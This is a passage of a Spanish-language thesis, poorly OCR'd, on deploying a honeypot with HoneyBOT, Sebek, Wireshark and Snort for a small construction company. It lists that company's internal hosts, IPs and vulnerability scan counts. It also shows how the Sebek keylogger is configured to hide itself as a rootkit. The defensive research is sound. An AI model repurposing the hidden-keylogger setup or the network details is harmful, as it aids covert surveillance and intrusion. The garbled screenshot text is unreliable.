“Se conoce a este tipo de dispositivos como aquel conjunto de software, hardware
o la combinacion de ambos usados para detectar la actividad de intrusos. Un IDS
puede diferentes capacidades dependiendo de qué tan sofisticado y complejo sea,

ademas del uso de firmas digitales™.

A diferencia de un IPS que previene las intrusiones, el IDS se limita Unicamente a
generar alarmas basadas en reglas predefinidas y configuradas por el
administrador red para detectar los comportamientos anomalos de posibles
intrusos en la red. Su implementacion dentro de la red interna esta directamente
relacionada con aquello a lo que se pretende monitorear, ya sean las estaciones

de trabajo, para lo cual se usan los Sistemas de Deteccion de Intrusos de Anfitrion

3 Intrusion Detection Systems with Snort: Advanced IDS Techniques Using Snort, Rafeeq Ur
Rehman, Pag. 6
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(HDIS), o la red misma, monitoreada con un Sistema de Deteccion de Intrusos de
Red (NIDS).

La figura 6 muestra un esquema en el cual se implementa un HIDS en una LAN.

Figura 6. Ubicacion de un HIDS en una red LAN.
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BEALE, Jay. Snort: IDS and IPS Toolkit. Burlintong: Syngless Publishing, 2007.
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La figura 7 muestra un esquema en el cual se implementa un NIDS en una LAN.

Figura 7. Ubicacion de un NIDS en una red LAN.
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44



6. ASPECTOS METODOLOGICOS

6.1 UNIDAD DE ANALISIS

La unidad de analisis seleccionada es el honeypot.

6.2 MUESTRA

La muestra se compone de las estaciones de trabajo de la red de datos.

6.3 POBLACION

La poblaciéon consta de todos los equipos que conformar la red de datos de la
compainia.

6.4 ETAPAS DEL PROYECTO

Para alcanzar los objetivos planteados en este proyecto se establecen las etapas

de trabajo, que se describen en el siguiente Tabla 2.

Tabla 2. Etapas del proyecto

Fase Nombre Descripcién

La primera parte de esta fase comprende la
recopilacion y contextualizacibn de informacion
referente a la empresa, lo cual permite determinar
aspectos como: politicas de la compafiia, Mision,
1 Disefio Vision, aspectos técnicos: topologia de la red,
servicios de red, servidores, firewalls, equipos, etc.
Por otra parte el proceso de contextualizacion
proporciona un claro enfoque para realizar el estudio

previo y planeacion de los recursos (tiempo, dinero,
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Tabla 2. (Continuacion)

Fase

Nombre

Descripcion

personal, tecnologia, etc.) requeridos para ejecutar las
siguientes fases posteriores del proyecto.

La segunda parte de la primera etapa consiste en
elaborar el disefio del honeypot con base en: los
requisitos (empresa, legales, técnicos, etc.), normas,
estdndares, mejores practicas y andlisis de
vulnerabilidades a tener en cuenta para la elaboracién del

disefo.

Implementacion

Comprende la implementacion del honeypot. A partir
del disefio elaborado en la fase anterior se desarrolla el
mismo, posteriormente se procede a implementarlo en un
segmento estratégico de la red, que permita recibir la
mayor cantidad de ataques posibles. Una vez
implementado el honeypot se deja expuesto a potenciales
atagues durante un tiempo determinado, para ser

posteriormente ser analizado.

Hallazgos y

Resultados

En esta fase se analiza el dispositivo, en aras de describir
los hallazgos y resultados encontrados pertinentes del
caso, que permitan posteriormente realizar un conjunto

de recomendaciones de remediacion.

Documentacion

La dltima etapa del proyecto comprende la
documentacion del trabajo de grado y el articulo final con
base en las actividades realizadas en cada una de las
etapas previamente ejecutadas, asi como la entrega y

sustentacion concernientes.

Autores
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7. RECURSOS Y PRESUPUESTO

7.1 RECURSO HUMANO

El recurso humano empleado para el desarrollo del presente proyecto tiene
conocimientos solidos en temas trascendentales para el desarrollo y cumplimento
de los objetivos del proyecto como: deteccidn de intrusos, telecomunicaciones,
servidores, honeypots e informética forense. Por tal razon la Tabla 3 detalla el

recursos humano participe en este proyecto.

Tabla 3. Recursos humanos

Recurso Humano Nombre Conocimientos
Estudiante Eibin Fabian Acosta Redes datos
Agudelo
Estudiante Miguel Angel Chaparro Software Libre,
Mendivelso Servidores
Docente/Experto Alexander Rodriguez Deteccion de
Intrusos, Honeypots

Autores

7.2 RECURSOS FiSICOS Y TECNOLOGICOS

Los recursos fisicos y tecnolégicos empleados como apoyo para el
almacenamiento, escritura, redaccion, consulta, impresiéon, gestion de la
documentacion y demas aspectos propios del proyecto estan listados en la
Tabla 4.
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Tabla 4. Recursos fisicos y tecnolédgicos

Recurso Cantidad Descripcion
Computadores 2 HP dv2135la
Portatil Acer AS4739
Equipo Escritorio 1 Equipo Escritorio Clon
CDs 3 Imation
Memorias Flash USB 2 Kingstone
Acceso a Internet 1 Acceso a Internet
Paquete Ofimatica 2 Microsoft Office 2007
Spftwqre L, 1 Vmware Player 5.0.2
Virtualizacion
Sistema Operativo 1 Ubuntu Sever 12.04
Ubuntu Server
Sistema Operativo :
Windows XP 1 Windows XP SP2
Wireshark 1 Wireshark 1.8.6
Snort 1 Snort V12.9.4.1
Sebek 3.0 1 Sebek V3.0
IP publica 1 IP publica para el

Honeypot
Autores

7.3 RECURSOS FINANCIEROS

La Tabla 5 detalla el presupuesto destinado para el desarrollo de las actividades

del proyecto y del documento final.

Tabla 5. Recursos Financieros

item Patrocinador Valor

Libros Unipiloto (Biblioteca) $300.000 (COP)
Papeleria e Estudiantes $100.000 (COP)
Impresion

Acceso a | Unipiloto (Biblioteca) $150.000 (COP)
Internet

Transportes Estudiantes $250.000 (COP)
Imprevistos Estudiantes $300.000 (COP)

TOTAL PROYECTO: $1.100.000 (COP)

Autores
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8. CRONOGRAMA DE TRABAJO
Para dar cumplimiento a cada una de las fases planteadas, se establece en el

cronograma de la figura 8, el conjunto de actividades definidas para alcanzar los

objetivos planteados en el presente documento.

Figura 8. Cronograma de trabajo

Nov.2012 | Dic.2012 | Ene.2013 | Feb.2013 | Mar.2013
s1|s2|s3|s4 |51 52|53 s4!s1/s2]53 s4|s1/2! 53|54 51 52/s3[ 54
Contextualizacion y recoleccion de Informacion |
inventario de servicios de red [
DISENO  |Andlisis de vulnerabilidades
Planeacion de recursos
Realizar el disefio del Honeypot
Configuracion del Honeypot
IMPLEMENTACION implementacidn del Honeypot
Monitoreo del Honeypot
HALLAZGOSY  |Descripcion de los hallazgos y resultados
RESULTADOS  |Conclusiones y recomendaciones
Elaboracion del documento final y articulo
Correcciones del documento final y articulo
Entrega del documento final y articulo
Socializacién del proyecto

DOCUMENTACION

Autores
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9. ESTRUCTURA TEMATICA

9.1 DISENO DEL HONEYPOT

Para dar inicio al proyecto se procede a realizar la primera actividad,
correspondiente a la contextualizacion y recoleccién de informacion propia de la
compafiia donde se implementara el honeypot, la cual se requiere para el
desarrollo del proyecto del proyecto.

Dentro de la contextualizacion se destacan algunos aspectos como: el nombre de
la empresa, su sector industrial, etc., como se muestra en la Tabla 6.

Tabla 6. Contextualizacién de la empresa

ftem Descripcion
Razdn Social Soluconstruccién SAS
Sector Industrial Construccion
Magnitud Pyme
N° de Empleados 40
Productos Cielos rasos, Fachadas, Pisos, Tejas.

Somos una empresa colombiana comercializadora de
productos para la construccién con un alto nivel de
calidad, que proporciona un amplio catalogo de
productos acorde a las diversas necesidades de sus
Mision clientes, contamos con una amplia y eficiente
infraestructura logistico-comercial a nivel nacional e
internacional, que respalda el constante compromiso y
desarrollo de las mejores practicas diferenciadoras de
nuestra compariia con la competencia.

Ser una de las compariias comercializadoras lideres y
pioneras en la industria de la construccion colombiana,
Vision reconocida nacional e internacionalmente por la
calidad de sus productos, el buen servicio, la
satisfaccion y confianza de sus clientes y proveedores.
Es una pequeila empresa del sector de la
construccion, dedicada a la comercializacion de
materiales para la construccion y el desarrollo de
proyectos del mismo sector industrial.

Descripcion

Autores
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Cuando se hace referencia a recoleccion de informacion se hace en términos
tecnologicos, es decir se procede a consultar aspectos técnicos como: topologia
de la red, servicios de red, servidores, firewalls, switches, enrutadores y demas
activos. Este proceso facilito la planeacion de los recursos a utilizar en el proyecto
(Tiempo, Financieros, Humanos, Fisicos y Tecnoldgicos), puesto que al conocer
con mayor profundidad su capacidad instalada, se pudo establecer estimar el
recurso humano idoéneo, el tiempo de desarrollo aproximado, los recursos
financieros disponibles, etc., necesarios para cumplir con los objetivos planteados.

Figura 9. Topologia de la red de Soluconstruccién SAS.

SERVZ (POCIMPRESION DHOR DNS

- I
SERVIDORES o

Autores

Tabla 7. Servicios de red

Servicio Puerto Protocolo Prestado en
ERP (SAP) 30000 TCP SERV1
SQL Server 1433 TCP SERV1

Kerberos 88 TCP SERV1/ SERV2

SERV1/
RDP 3389 TcP SERV2/ACCESO REMOTO
Active Directory 445 TCP SERV1/ SERV2
DNS 53 UDP/TCP SERV1/ SERV2
Netbios 139 UDP/TCP SERV1/ SERV2
LDAP 389 UDP/TCP SERV1/ SERV2
DHCP 67 UDP SERV2
Autores
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En la tabla 8 se identifican los activos informaticos existentes en la infraestructura
de red de la empresa Soluconstruccion SAS encargados de apoyar los procesos
del negocio, con el fin de definir los servicios prestados, los procesos relacionados
con cada uno de estos servicios Yy finalmente los activos responsables de
soportarlos procesos en mencion.

Tabla 8. Activos Informéaticos de la red.

Nombre Equipo Sistema IP Descripcion
Operativo
Enrutador N/A 192.168.0.1 Enrutador
Switch N/A 192.168.0.2 Switch
Impresora N/A 192.168.0.4 Impresora
Gerencia_general Windows XP 192.168.0.25 | Estacion Trabajo de
SP3 Gerencia General.
Compras Windows XP 192.168.0.26 |Estacion Trabajo de area
SP3 Compras.
Recepcion Windows XP 192.168.0.27 |Estacion Trabajo de
SP3 recepcion.
Recursos_humanos Windows XP 192.168.0.28 | Estacion Trabajo de
SP3 Recursos humanos.
Tecnologia Windows XP 192.168.0.29 |Estacion Trabajo de area
SP3 Tecnologia.
Contabilidad Windows XP 192.168.0.30 |Estacion Trabajo de area
SP3 Contabilidad.
Caja Windows XP 192.168.0.31 |Estacion Trabajo de Caja.
SP3
Gerencia_financiera Windows XP 192.168.0.32 | Estacion Trabajo de
SP3 Gerencia Financiera.
Tesoreria Windows XP 192.168.0.33 |Estacion Trabajo de érea
SP3 Tesoreria.
OSSIM LINUX 192.168.0.99 |SIEM de escaneo de
DEBIAN Vulnerabilidades y
Monitoreo de red.
SERV1 Windows 192.168.0.80 | Servidor de Aplicaciones
Server 2008 (ERP, Nomina), Controlador
Standar SP2 Maestro de Dominio, DNS.
SERV2 Windows 192.168.0.81 |Servidor Controlador de
Server 2008 Dominio  Esclavo, DHCP,
Standar SP2 DNS e Impresién.
ACCESO_REMOTO Windows 192.168.0.82 | Servidor de Acceso Remoto
Server 2008 (Terminal Services).
Standar SP2
SERVIDOR Ubuntu 192.168.0.90 | Servidor Monitoreo
MONITOREO Server 12.04 Honeypot
Honeypot Windows XP &g%?g;giég) Maquina Trampa
Autores
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9.1.1 Analisis de vulnerabilidades. Un aspecto importante previo al disefio del
honeypot consistio en la realizacion de una analisis de vulnerabilidades de la red
de la compafiia en mencion. Este dltimo permitio identificar el conjunto de
vulnerabilidades presentes en los activos que conforman esta red. Lo anterior en
aras de usar este analisis como insumo para el disefio de este dispositivo y para la
definicion de controles de oportunos para hacer frente a estas vulnerabilidades.

En otras palabras se pretende usar este analisis como medio para determinar los
servicios vulnerables de la red, para posteriormente ser usados en el honeypot, en
aras de verificar si estos servicios vulnerables pudieran ser comprometidos de
forma alguna por los atacantes.

El analisis completo y detallado se encuentra en el Anexo 1, sin embargo la
figura 10 muestra el resumen general de la cantidad de vulnerabilidades
encontradas para el universo de prueba de los activos descritos acorde a su
impacto.

Figura 10. Resumen general de vulnerabilidades encontradas

(_)Fecha/Tiempo (*)Nombre del trabajo (_)Equipof/Red  Buscar
Fecha/Tiempo Nombre del trabajo Objetivos Perfil |Ben fiFrcH JEDT §itow | ¥iFo |
2013-02-20 20:00:00 ESC_SERWY 1 SERWV1 Default 1 1 2 24 19
2013-02-20 22:00:00 ESC_SERV._2 SERV2 Default 1 2 2 39 27
2013-02-21 00:00:00 ESC_SERY _REMOTO ACCESO_REMOTO Default 1 0 0 10 )
2013-02-21 02:00:00 ESC_EST_TRA_TESO TESORERIA Default 0 1 0 22 25
Autores
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Figura 11. Vulnerabilidades encontradas en servl

S
0,00{{!(1! AlienVault: 1.T,. Security Vulnerability Report
Fecha Inicio: 2013-02-20 20:00:00 Generado: 2013-02-21 15:51:39
Perfil: Default Nombre del trabajo: | ESC_SERY_1
El ndmero total de vulnerabilidades identificadas en 1 sistema(s)
. Sericus: 1
. High: 1
. Medium: 2
D Low: 24
|:| Info: 19
El nimero total de vulnerabilidades identificadas por sistema
P equipo Nombre equipo Serias Alto Med Bajo into
192.168.0.80 SERV1 1 1 2 24 19
Autores.
Figura 12. Vulnerabilidades encontradas en serv2
&
o OI{!m AlienVault: |.T. Security Vulnerability Report
Fecha Inicio: 2013-02-20 22:00:00 Generado: 2013-02-21 15:55:26
Perfik: Default Nombre del trabajo; |ESC_SERV_2
El nimero total de vulnerabilidades identificadas en 1 sistema(s)
. Serious: 1
. High: 2
. Medium: 2
D Low: 39
|:| Info: 27
El namero total de vulnerabilidades identificadas por sistema
P equipo ~ Nombre equipo Sernias Alto Med Bajo info
192.168.0.81 SERV2 1 2 2 39 27
Autores.
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Figura 13. Vulnerabilidades encontradas en acceso_remoto

S
C,QO{am AlienVaulit: L.T. Security Vulnerability Report
Fecha Inicio: 2013.02-21 00:00:00 Generado: 2013.02-21 14:.05:12
Porfit Dofauk Nombre del trabajo: |ESC_SERV_REMOTO

El nimero total de vulnerabilidades identificadas en 1 sistema(s)

. Serious: 1
B ion: 0
Bl »ediua: ©
D Low: 10
D info: 9

El nimero total de vulnerabilidades identificadas por sistema
[ WPequipe | Nombre equipo Serias AlS Med Hajo e

192.168.0.82 ACCESO_REMOTO 1 0 0 10 9

Autores.

Figura 14. Vulnerabilidades encontradas en tesoreria

<.

0,00{_(|m AlienVault: L.T. Security Vulnerability Report
Fecha Inicio: 2013-02-21 02:00:00 Generado: 2013-02-21 14:25:34
Perfil: Default Nombre del trabajo: |ESC_EST_TRA_TES

El nimero total de vulnerabilidades identificadas en 1 sistema(s)

. Serious: 0
- High: 1
Medium: O
D Low: 22
D Info: 45
El nimero total de vulnerabilidades identificadas por sistema
iP equipo Nombre equipo Serias Aito med Bajo info
192.168.0.33 TESORERIA 0 1 0 22 45

T TECT YO IITN

Autores.

Finalmente con base en la anterior contextualizacion, recoleccién de informacion,
analisis de vulnerabilidades y demas aspectos, se define el disefio del Honeypot
de la figura 15.
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Figura 15. Disefio del Honeypot

Intemet

Honeypot

DMZ HoneyBOT

Cliente Sebek

|
|
= |
| Servidor Monitoreo
SERVIDORES I :
| Wireshark
—
Snort
- 7 Servidor SEBEK
LAN
S ‘ ‘@ %‘@ %‘
Autores

El Honeypot es un equipo virtualizado con sistema operativo Windows XP
Professional SP2, el cual tiene instalado el siguiente software: HoneyBOT vy el
cliente Sebek.
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Con el primero se busca imitar los siguientes servicios en el honeypot: RDP, FTP,
Telnet, SSH, Http, Hitps, NetBIOS, DNS, SAP y SQL Server. Se han seleccionado
los anteriores servicios puesto que el analisis de vulnerabilidades asi lo indica, es
por ello que estos ultimos se utilizan como cebo para ser atacados en aras de
registrar datos de los servicios en mencion para su respectivo analisis. El segundo
sebek, captura las actividades del atacante (pulsaciones de teclado, carga de
archivos, contrasefias). Por tanto en el honeypot se debe instalar el cliente con el
propdsito de monitorear las actividades previamente descritas que realizan de los
atacantes en el mismo. Posteriormente estos registros se envian al servidor sebek
para ser consultados y analizados.

Otro aspecto importante reside en el Servidor de monitoreo, el cual provee 3
herramientas fundamentales para verificar el constante trafico de red (Wireshark),
la deteccién de intrusos (Snort) y la consulta de los registros de las actividades en
el honeypot (Servidor Sebek).

Finalmente hay que hacer énfasis en la localizacion del honeypot dentro de la red
de Soluconstruccion SAS, por ello se ha seleccionado como ubicacion del
dispositivo la DMZ del enrutador, ya que en este segmento de red estard mas
expuesto a ataques externos tal como se pretende en el presente proyecto. Es
importante aclarar que realizando configuraciones internas en la DMZ del
enrutador, se procede a aislar el tréfico de internet destinado a esta zona
desmilitarizada, para que este no tenga acceso alguno a la red LAN interna de la
compafiia. De esta forma se pretende garantizar que dado el caso si un atacante
toma el control del honeypot, este no se convierta en un arma desde el cual se
ejecuten ataques a la red interna.
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9.2 IMPLEMENTACION DEL HONEYPOT

Concluida la anterior fase, se procede con la etapa de implementacién del disefio
definitivo. Es por ello que previo a su inicio, se tuvieron en cuenta las
recomendaciones** especificadas en la Tabla 9, en la busqueda de mejorar la
seguridad y disminuir en la medida de lo posible el riesgo de que un atacante tome
control del Honeypot, para usarlo como bastion* que pueda llegar comprometer la
red de Soluconstruccion SAS.

Tabla 9. Recomendaciones de seguridad
Cabdigo Recomendacion Aplicado en:
Se recomienda instalar el Honeypot en un
sistema dedicado o una maquina virtual.
Puesto que este ultimo no debe utilizarse para
1 ningun otro proposito fuera del analisis. Lo
anterior debido a que se atrae a los atacantes | Maquina Trampa
a la trampa, es por ello que bajo ninguna
circunstancia se aconseja implementarlo en
un sistema en produccion.
Usted debe proteger su equipo mediante la
2 actualizacion de su sistema con los Service
Packs y parches de software.
El uso de un Firewall evitarda que las
conexiones no autorizadas al equipo. Las | Ubuntu Server
reglas del firewall deben permitir conexiones | Maquina Trampa
entrantes al HoneyBOT.
Usted debe deshabilitar aquellos servicios de
4 Windows que no son necesarios, ya que | Maquina Trampa
pueden ser usados por un atacante.
Antes de iniciar HoneyBOT se recomienda
5 definir una linea base de los servicios a | Maquina Trampa
ejecutar.
Si se monitorea el Honeypot a través de un
programa de escritorio remoto, entonces se

Ubuntu Server
Maquina Trampa

6 aconseja cambiar el puerto de escucha por | Ubuntu Server
defecto por un puerto numérico aleatorio muy
elevado.
Autores

* La recomendaciones que se tuvieron en cuenta fueron las descrita en el siguiente sitio web:
http://www.atomicsoftwaresolutions.com/securetips.php
“ Bastion: Herramienta de doble filo
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Una vez se adoptaron las recomendaciones de seguridad previamente descritas,
es oportuno describir las configuraciones correspondientes a la instalacion vy
configuracion de cada una de las herramientas descritas en el disefio, tal cual se
detalla a continuacion:

9.2.1 HoneyBOT. En primera instancia se procede a realizar la instalacion con el
asistente respectivo, enseguida una vez inicia el programa se procede a realizar la
configuracion del honeypot seleccionado la alternativa si como se indica en la
siguiente captura.

SRS &S

Ports Date ] Time l Remote [P l Remate Port I Local IP l Local Port l Pratocol I Byte

7]
L
é‘
&

Remates

HoneyBOT

\?/ Would vou like to configure HoneyBOT now?

Si I No

el
v

0 records 0 sockets

+4 Inicio & HoneyBOT B | 9,0 8 % 05:36pam

Autores

Posteriormente se configura el software para que una vez el sistema operativo del
Honeypot arranque el HoneyBOT inicie al mismo tiempo con los servicios
previamente definidos.
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FIGURA 17. Instalacion Honeybot 2

& [ [=]x

i | —em| il sl | 5 ™ 5 =
SIS == AR I Pl

+- Parts Date | Time | Fiemate [P | Femoate Part | Local IP | Local Port | Fratocol | ~

+- Remotes 13/03/2013 : i ) TCF
13/03/2013 5] % Options 1 TCP
13/03/2013 : TCF
13/03/2013 04:51 General l Email Alert] E:.;pg[[sl Updates] TCP
13/03/2013 0451 TCP
13/0342013 0d:51 TCP
13/03/2013 0d:51 r & TCP
13/03/2013 05:11 ! B TCP
13/03/2013 05:11 [ Enable Sound Alert TCP
13/03/2013 05:11 TCP
12/03/2013 0523 he' Capture Binaries TCP
13/03/2013 0525 . TCF
13/03/201 3 0557 [+ Automatically Rotate Log TCF
13/03/2013 05:47] uppP
13/03/2013 - 05.47] Enter the alias name that HoneyBOT will operate under, uppP
13/03/2013 0&:03 TCP
13/03/2M3 0607 Server Name [publicos Lpop
13/03/2013 0&:11 uppP
13/03/2013 08N UDP
13/03/2013 0618 upP
13/0342013 0615 uppP
13/03/2013 D619} oK | Cancel Aol LDP
1340352013 BT —oooo 1o1=] T TES I TD =T UoF
13/03/2013 051654 pon. 216.7106.250.228 414904 192168.0.102 443 uppP
13/03/2013 051654 pn.  216.7106.250.228 459684 192168.0.102 443 TCP
13/03/2013  OE1E55pm. 12415041178 45144 192.168.0.102 a0 UoP
13/03/2013  OB1E5Epm. 12416041178 53455 192.168.0.102 a0 TCF
13/03/2013  0&17:35pm.  189.23.230.42 56680 192168.0.102 22 TCP
13/0342013 081312 pm. 132168015 43453 132168.0.102 3389 TCP
13/03/2013 081455 pm.  192168.015 43464 132168.0.102 3389 TCP bt
< >

1665 records 0 sockets
Autores

Terminado este paso se procede a permitir las conexiones entrantes al HoneyBOT
en el Firewall del honeypot para analizar el trafico, como se mencionaba en la
recomendacion numero 3 de la Tabla Recomendaciones de Seguridad.
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FIGURA 18. Instalacion Honeybot 3

% HoneyBOT - Log_20130312.bin [= [=[X]

REREEEEEIEE

Date I Time I FRemote IP Femaote Port Local IP Local Port Protocol Einte

Alerta de seguridad de Windows

Para apudar a proteger su equipo. Firewall de Windows
® bloqued algunas caracteristicas de este programa.

iDesea mantener este programa blogueado?

\ e Mombre: honeybot
""\j Fabricante: Desconocido

[Continuar bloqueo] [ Desbloquear ] [ Preguntarme mas adelante

Firewall de Windaws blaquad este programa para que ho acepte coheriones de
Internet o de una red. Puede desbloquearlo si reconoce este programa o confia en el
emizor. jCuando debo desbloquear un programa’?

£
0 records | 1335 sockets

1573

72 Inicio
Autores

Finalmente se definen los puertos, protocolos y servicios vulnerables.
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FIGURA 19. Listado de servicios a simular

Fort Frotocol E nabled D' ezcription

7 TCP True echo

20 uprF True ftpdata

20 TCP True ftpdata

21 uprF True ftp

21 TCF True ftp

22 TCF True zzh

23 TCF True telnet

53 UDP True domain

53 TCF True dormain

80 uprF True http

80 TCP True http

4473 UprF True Hhttps

443 TCF True http=

445 UDP True microzoftds

445 TCF True microzoftds

1433 uprF True mzzqls rdz

1433 TCF True intellistorlm

1434 uprF True mzzqlm rds2

1434 TCF True rd=

33839 TCF True RDF

20000 TCF True zap

Add Service Edit Service Delete Service Close

22 services

Autores

9.2.2 Cliente sebek. Para capturar las pulsaciones de teclado de potenciales
ataques en el Honeypot es necesario instalar el cliente sebek, para realizar la
siguiente instalacion y configuracion.

Ejecutar el instalador del cliente de sebek.
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FIGURA 20. Inicio de instalacion cliente sebek

<3 Sebek 3.0.4.0 Setup .

The Honeynet

Setup Wizard

3.0.4.0.

computer.

Click Next to continue.

Welcome to the Sebek 3.0.4.0

This wizard will guide you through the installation of Sebek

It is recommended that you close all other applications
before starting Setup. This will make it possible to update
relevant system files without having to reboot your

Next > ] [ Cancel

Autores.

FIGURA 21. Ruta de instalacion driver cliente sebek

(.9) Sebek 3.0.4.0 Setup

Choose Install Locaton
Choose the folder in which to Install Sebek 3.0.4.0.

Destination Foldar

C:\Windovs\systama2\drivars)

Space required: 0.0K8
Space available: 39,168

Setup will install Sebek 3.0.4.0 In the following folder. To Install In a different folder, click
Browse and select another folder, Click Install to start the Installation.

«< Back ||

[ [ =

s

Browse...

Install I | Cancel

Autores.
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Se instala el driver requerido por el cliente sebek.

FIGURA 22 Inicio de instalacién cliente sebek2
n.;?) Sebek 3.04.0 Setup

Installing
Flease wait while Sebek 3.0.4.0 13 being mmstalled. l_’

Output folder: Ci\windows\systam32\drivars

e . -
[ Show detaiis | % Sebek 3.0.4.0 Setup e
'o DriverName is sebek
Aceptar

Autores.

Al terminar la instalacion, resta realizar la configuracién del cliente, en primer lugar
se ejecuta el asistente de configuracion.

FIGURA 23 Asistente de configuracion cliente sebek

Sebek Configuration Wizard - Welcome

The Honeynat -
5 : Waelcome to the Sebek Configuration Wizard

This wizard helps you create a configuration for Sebak. With this
wizard you will

e Selecta Destination MAC, IP Address, and Port

* Selecta magic value used to hide the data sebek generates

* Selecta network interface to send the recorded data on

* Selectthe name of the process thatwill have access to the
Sebek driver

I Siguienta = l Cancealar Ayuda

Autores.
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Se debe buscar el archivo de configuracion que se credé en el momento de la
instalacién, para eso se ingresa a la ruta del archivo y alli se selecciona, su
nombre es: “SEBEK.SYS”

FIGURA 24 Ruta archivo de driver de configuracion

N
v
Sebek Configuration Wizard - Select file I.-éhl
Please select the Sebek daver lile
The Sebek Driver file contains the configuration information used throughout this wizard

File Location:

Browse

< Atrdin l Siguiente » I Cancelar Ayuda

Autores.

Ahora se definen 3 pardmetros fundamentales: la direccion mac del equipo trampa
(aparece por defecto en el recuadro del sebek), una direccién IP diferente que se
encuentre en el mismo segmento de red del equipo trampa, y por ultimo el puerto
gue se configuro en el servidor SEBEK (1101/UDP).
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FIGURA 25. MAC, IP y Puerto de conexion cliente sebek

Sebek Configuration Wizard - Server Configuration s S|
Server Configuration
Sebeklogs all data it collects to a cantral server Please specify the information sebek will

use to genarate packets the server can collect

This field specifies the MAC address to use for all outgoing packets If the logging server is more
than ane hop away from the honeypolt, then the Destination MAC should be set to the MAC of the
default gateway for this netwaork

Destination MAC:  [00 ([20 . [ED ;[oo [oo  ; [oo

This fiald defines the IP address usaed in all the packets generated by Sebek. Since the Sebaek
sarver doas notlook atthe Destination IP address when it collects packets, itis not required nor
recommaended to setthis to 1P of the Sebek server

Destination IP [1927 168 0 110

This fleld defines the UDP destination portto be configured in the Sebek packets. This value s
used by the Sarver to identify packets of interest

Dastination Port Il 01

< Atrda | Sigulenta » ] Cancelar l Ayuda

Autores.

En este punto se necesita configurar tres variables importantes: en primer lugar es
una variable que es conocida como “Variable Magica”, esta variable es generada
automéaticamente por el sistema y funciona como identificador del cliente sebek.

FIGURA 26 Variable magica

Sebek Conflguration Wizard - Maglc Value A—— (o
Magic Value
Sabak will hide packets with the propear magic value Specify @ magic value 1o use

Sebok packats are daefined as thosa that have both @ predetanminecd destination LD porrt and the
proper magic value If these twa valuas match what ls axpected then we know this & packet ta ignore

NOTE Using the default magic value (s o seourity ek because attaokers oun use the dafault to
detarmine ifthey are being walched, You should genarate a random number and use that as your
magic value

HMowever iFthis installation s parrt ol o honeynet you should make all sebak inatallatons ase the
same magic value

Mugic Value  |RECIH Randam Value |

“ Atrén I Siguiente » ' Cancelar l Ayuda l

Autores.
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La segunda variable que se identifica, es la tarjeta de red que se usara para
conectarse al servidor sebek.

FIGURA 27 Seleccion tarjeta de red

Sebek Configuration Wizard - Network Configuration : l&]

Network Configuration
Sebeklogs all data it collects to a central server. Please specify the network interface sebek
will use to send the collected data.

Please specify the interface sebek will send data on. This interface should be able to communicate
with the Sebek Server.

Interface: 12 - Atheros ARSB97 Wireless Network Adapter hat

< Atras | Siguiente > | Cancelar Ayuda

h

Autores.

A continuacion se selecciona un programa que va a ser utilizado para ocultar el
sebek como un rootkit, en este caso no se debe colocar la extension .exe del
programa, solo dar el nombre de este ultimo.
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FIGURA 28. Programa para ocultar cliente sebek

Configuration Program Name
Sebek will hide itself from all applications exceptthe special configuration program. Specify
the filename ofthe configuration program..

The Windows verison of Sebek hides itself while running. To reconfigure Sebek you must run the a
specially named configuration program. if Sebek detects a program with this special name itwill not
hide itself from that program.

Please specify the name ofthe program you will use to configure Sebek. Do *NOT* add the .exe
extension to the name ofthe program.

NOTE: The default value below is the current name of this configuration program. The maximum
length of the filename is 12 characters.

File Name: Iiexplorer This Program I

< Atras | Siguiente > I Cancelar Ayuda

—— = — _— ———

Autores.

Por ultimo se muestra un resumen de la configuracién anteriormente realizada.

FIGURA 29 Resumen de configuracion cliente sebek
Sebek Configuration Wizard - Configuration Program Name ﬁ

Completing the Sebek Configuration Wizard

The Configuration you have created is shown below. Please
verify the options you have selected.

File Location: C:\Windows\system32\drivers\SEBEK. SYS -
Destination MAC: 00:20:ED:00:00:00

Destination IP: 192.168.0.110

Destination Port: 1101

Magic Value: 3489660928

Network Interface: {140C9772-2C36-4C98-AF42-C72A02A09.
Configuration File Name: iexplorer

< Atras i Finalizar Cancelar

Autores.
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Finalmente para que tome los cambios y demas configuraciones, resta reiniciar el
equipo cliente.

9.2.3 Wireshark. Para el escaneo de la red se uso el programa Wireshark, y su
extension para realizar esta actividad a partir de una tty (o terminal de Linux). Para
poder configurar esta herramienta lo primero que se realizo fue la instalacion del
Wireshark.

FIGURA 30. Instalacién Wireshark

sorl lih

lib

Autores.

Con el Wireshark instalado se instalaron también algunos dependencias
necesarias para poder realizar los analisis y capturas de paquetes de red, pero
con estos no viene incluido el paquete tshark, es por ello que se debe instalar este
programa un paso después de haber realizado la instalacion del Wireshark, como
se muestra a continuacion:
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0... Hecho
agquetes MUEY

eliminar y 9 no actualizados.

Autores.

Por ultimo teniendo el Wireshark y el tshark instalados solo queda lanzar el
escaneo de la red, para se utiliza la opcidbn —R, para poder realizar un filtro
especifico del analisis que se realiza, esto es guardado en un archivo para luego
ser revisado.

FIGURA 32. Comando olfateo paquetes honeypot

imonitoreo: ™8 ts T ip.addr 192 168.0.120" » scanen

nit.lua"l:45: dofile h:

oup "root". This

Capturi on etho

Autores.
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9.2.4 Snort. Como detector de intrusos se utiliza Snort, el cual es el software mas
conocido y de libre acceso para desarrollar la labor de deteccion. Como primer
paso a desarrollar se muestra a continuacion su respectiva instalacion.

FIGURA 33 Instalacion de Snort

libdag? libdumbnetl libencode-locale- [u—'l l llll’rlll—' lJ_-TJ_I|=—[|I—'I 1
1i 1l f
llllllTrlll—

Autores.

Durante el proceso de instalacién, se asigna la variable $HOME_NET que
identifica el segmento de red del host a usar, en este caso el $HOME_NET toma
el rango de 192.168.0.0, las IPS que no se encuentren en este segmento de red
van a ser reconocidas por el Snort con la variable $SEXTERNAL_NET, esta no
necesita ser especificada.
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FIGURA 34. Configuracion de la variable SHOME_NET

Configuracion de paguetes

Configuracidn de snort
Tiene gue utilizar el formato CIDR, esto es, 192.168.1.0524 para un
blogue de 256 IPs o 192.168.1.42-32 para so0lo una direccion. Debe
separar miltiples direcciones por #,% (comas) 4 sin espacios.

Tenga en cuenta gue si Snort estd configurado para utilizar mOltiples
interfaces se utilizara esta definicion como walor de #HOME_METH: para
todos ellos.

Intervalo de direcciones para la red local:

<Aceptar:

Autores.

Luego de concluir la instalacion de Snort, este inicia automaticamente como un
demonio (daemon) del sistema.

9.2.5 Servidor sebek. Esta herramienta de monitoreo de honeypots funciona
como keylogger, para su uso se necesita de dos modulos: el cliente y el servidor.
El cliente ya fue instalado y configurado en anteriores paginas, por ello a
continuacion se explica la segunda parte de su instalacion: El servidor Sebek.
Para poder realizar la instalaciéon de este Ultimo, es necesario primero que todo
